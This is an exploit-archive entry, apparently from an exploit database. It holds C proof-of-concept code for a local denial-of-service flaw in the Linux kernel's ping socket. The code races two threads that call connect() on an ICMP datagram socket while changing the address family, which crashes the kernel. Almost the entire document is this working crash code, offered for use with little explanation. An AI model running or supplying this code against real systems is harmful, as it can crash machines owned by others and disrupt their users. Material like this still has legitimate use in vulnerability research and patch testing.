Linux Kernel ping Denial Of Service

The Linux kernel suffers from a ping local denial of service vulnerability.


MD5 | 050caf0f2bba36f695336234f51ebdcd

# Source: https://raw.githubusercontent.com/danieljiang0415/android_kernel_crash_poc/master/panic.c
#
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
static int sockfd = 0;
static struct sockaddr_in addr = {0};

void fuzz(void * param){
while(1){
addr.sin_family = 0;//rand()%42;
printf("sin_family1 = %08lx\n", addr.sin_family);
connect(sockfd, (struct sockaddr *)&addr, 16);
}
}
int main(int argc, char **argv)
{
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
int thrd;
pthread_create(&thrd, NULL, fuzz, NULL);
while(1){
addr.sin_family = 0x1a;//rand()%42;
addr.sin_port = 0;
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
connect(sockfd, (struct sockaddr *)&addr, 16);
addr.sin_family = 0;
}
return 0;
}


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